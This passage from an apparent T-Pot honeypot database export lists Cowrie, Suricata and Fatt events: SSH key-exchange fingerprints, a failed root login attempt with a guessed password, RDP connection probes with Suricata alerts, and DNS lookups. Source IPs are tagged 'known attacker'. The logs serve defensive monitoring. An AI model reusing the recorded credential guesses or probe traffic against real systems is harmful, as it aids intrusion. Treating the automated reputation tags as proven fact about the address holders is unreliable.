"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35801	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:10:12.111858+03	2021-09-20 15:15:03.73569+03	{"_id": "NAYdA3wBvYTbRNuEIV6A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2319, "dest_port": 22, "timestamp": "2021-09-20T12:10:12.111858", "@timestamp": "2021-09-20T12:10:12.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35802	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:13.315794+03	2021-09-20 15:15:03.73769+03	{"_id": "NQYdA3wBvYTbRNuEI15L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [root/himanshu] failed", "session": "8af6019e4aae", "@version": "1", "password": "himanshu", "username": "root", "timestamp": "2021-09-20T12:10:13.315794Z", "@timestamp": "2021-09-20T12:10:13.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35803	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:14.5947+03	2021-09-20 15:15:03.738691+03	{"_id": "NgYdA3wBvYTbRNuEJ14y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8af6019e4aae", "@version": "1", "duration": 2.760280132293701, "timestamp": "2021-09-20T12:10:14.594700Z", "@timestamp": "2021-09-20T12:10:14.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35804	157.240.9.53	109.199.241.180	Suricata	2021-09-20 15:10:14.752115+03	2021-09-20 15:15:03.739691+03	{"_id": "OAYdA3wBvYTbRNuEKF5Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:14.752115+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.53", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.53", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1925730093398515, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 47436, "timestamp": "2021-09-20T12:10:14.752115Z", "@timestamp": "2021-09-20T12:10:14.752Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35805	157.240.9.53	109.199.241.180	Suricata	2021-09-20 15:10:14.834942+03	2021-09-20 15:15:03.741691+03	{"_id": "OQYdA3wBvYTbRNuEKF5Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:14.752115+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.53", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.53", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1925730093398515, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 47436, "timestamp": "2021-09-20T12:10:14.834942Z", "@timestamp": "2021-09-20T12:10:14.834Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35806	157.240.9.53	109.199.241.180	Suricata	2021-09-20 15:10:14.915891+03	2021-09-20 15:15:03.743691+03	{"_id": "PQYdA3wBvYTbRNuELF45", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:14.752115+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 198}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.53", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.53", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1925730093398515, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 47436, "timestamp": "2021-09-20T12:10:14.915891Z", "@timestamp": "2021-09-20T12:10:14.915Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35807	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:10:15.700821+03	2021-09-20 15:15:03.74469+03	{"_id": "QQYdA3wBvYTbRNuELV58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36166, "timestamp": "2021-09-20T12:10:15.700821", "@timestamp": "2021-09-20T12:10:15.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35808	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:16.268723+03	2021-09-20 15:15:03.74569+03	{"_id": "RgYdA3wBvYTbRNuEMF4j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9980, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1470143585065395, "@version": "1", "in_iface": "enp5s0", "src_port": 40583, "dest_port": 53, "timestamp": "2021-09-20T12:10:16.268723Z", "@timestamp": "2021-09-20T12:10:16.268Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35911	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:10:51.093156+03	2021-09-20 15:15:03.88572+03	{"_id": "zwYdA3wBvYTbRNuEtl4C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36178, "timestamp": "2021-09-20T12:10:51.093156", "@timestamp": "2021-09-20T12:10:51.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35809	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:16.322009+03	2021-09-20 15:15:03.746691+03	{"_id": "TQYdA3wBvYTbRNuEMV5n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36168, "dest_port": 443, "timestamp": "2021-09-20T12:10:16.322009", "@timestamp": "2021-09-20T12:10:16.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35810	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:10:20.046001+03	2021-09-20 15:15:03.74769+03	{"_id": "VgYdA3wBvYTbRNuEPl6l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:55976 (192.168.176.2:22) [session: f7603ab72756]", "session": "f7603ab72756", "@version": "1", "protocol": "ssh", "src_port": 55976, "dest_port": 22, "timestamp": "2021-09-20T12:10:20.046001Z", "@timestamp": "2021-09-20T12:10:20.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35811	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:10:15.607057+03	2021-09-20 15:15:03.749689+03	{"_id": "OgYdA3wBvYTbRNuELF45", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24507, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2059, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1791039919045657, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55700, "timestamp": "2021-09-20T12:10:15.607057Z", "@timestamp": "2021-09-20T12:10:15.607Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35812	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:15.605209+03	2021-09-20 15:15:03.750691+03	{"_id": "PAYdA3wBvYTbRNuELF45", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24507, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1791039919045657, "@version": "1", "in_iface": "enp5s0", "src_port": 55700, "dest_port": 53, "timestamp": "2021-09-20T12:10:15.605209Z", "@timestamp": "2021-09-20T12:10:15.605Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35813	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:10:20.329057+03	2021-09-20 15:15:03.75169+03	{"_id": "VwYdA3wBvYTbRNuEPl6l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f7603ab72756", "@version": "1", "timestamp": "2021-09-20T12:10:20.329057Z", "@timestamp": "2021-09-20T12:10:20.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35912	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:10:51.623316+03	2021-09-20 15:15:03.886691+03	{"_id": "3wYdA3wBvYTbRNuEul4x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36180, "timestamp": "2021-09-20T12:10:51.623316", "@timestamp": "2021-09-20T12:10:51.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35814	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:10:22.789104+03	2021-09-20 15:15:03.753691+03	{"_id": "bQYdA3wBvYTbRNuER16X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:22.714777+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1132080267192345, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 22797, "dest_port": 3389, "timestamp": "2021-09-20T12:10:22.789104Z", "@timestamp": "2021-09-20T12:10:22.789Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35815	87.251.67.120	109.199.241.180	Fatt	2021-09-20 15:10:22.789104+03	2021-09-20 15:15:03.754708+03	{"_id": "bgYdA3wBvYTbRNuESF6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 22797, "dest_port": 3389, "timestamp": "2021-09-20T12:10:22.789104", "@timestamp": "2021-09-20T12:10:22.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	MD
35816	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:10:22.846231+03	2021-09-20 15:15:03.755691+03	{"_id": "dAYdA3wBvYTbRNuESl5f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f7603ab72756", "@version": "1", "duration": 2.7985172271728516, "timestamp": "2021-09-20T12:10:22.846231Z", "@timestamp": "2021-09-20T12:10:22.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35817	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:10:22.920215+03	2021-09-20 15:15:03.756691+03	{"_id": "dgYdA3wBvYTbRNuES16A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:22.714777+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1132080267192345, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 22797, "dest_port": 3389, "timestamp": "2021-09-20T12:10:22.920215Z", "@timestamp": "2021-09-20T12:10:22.920Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35818	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:11.835789+03	2021-09-20 15:15:03.75769+03	{"_id": "KgYdA3wBvYTbRNuEHV6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 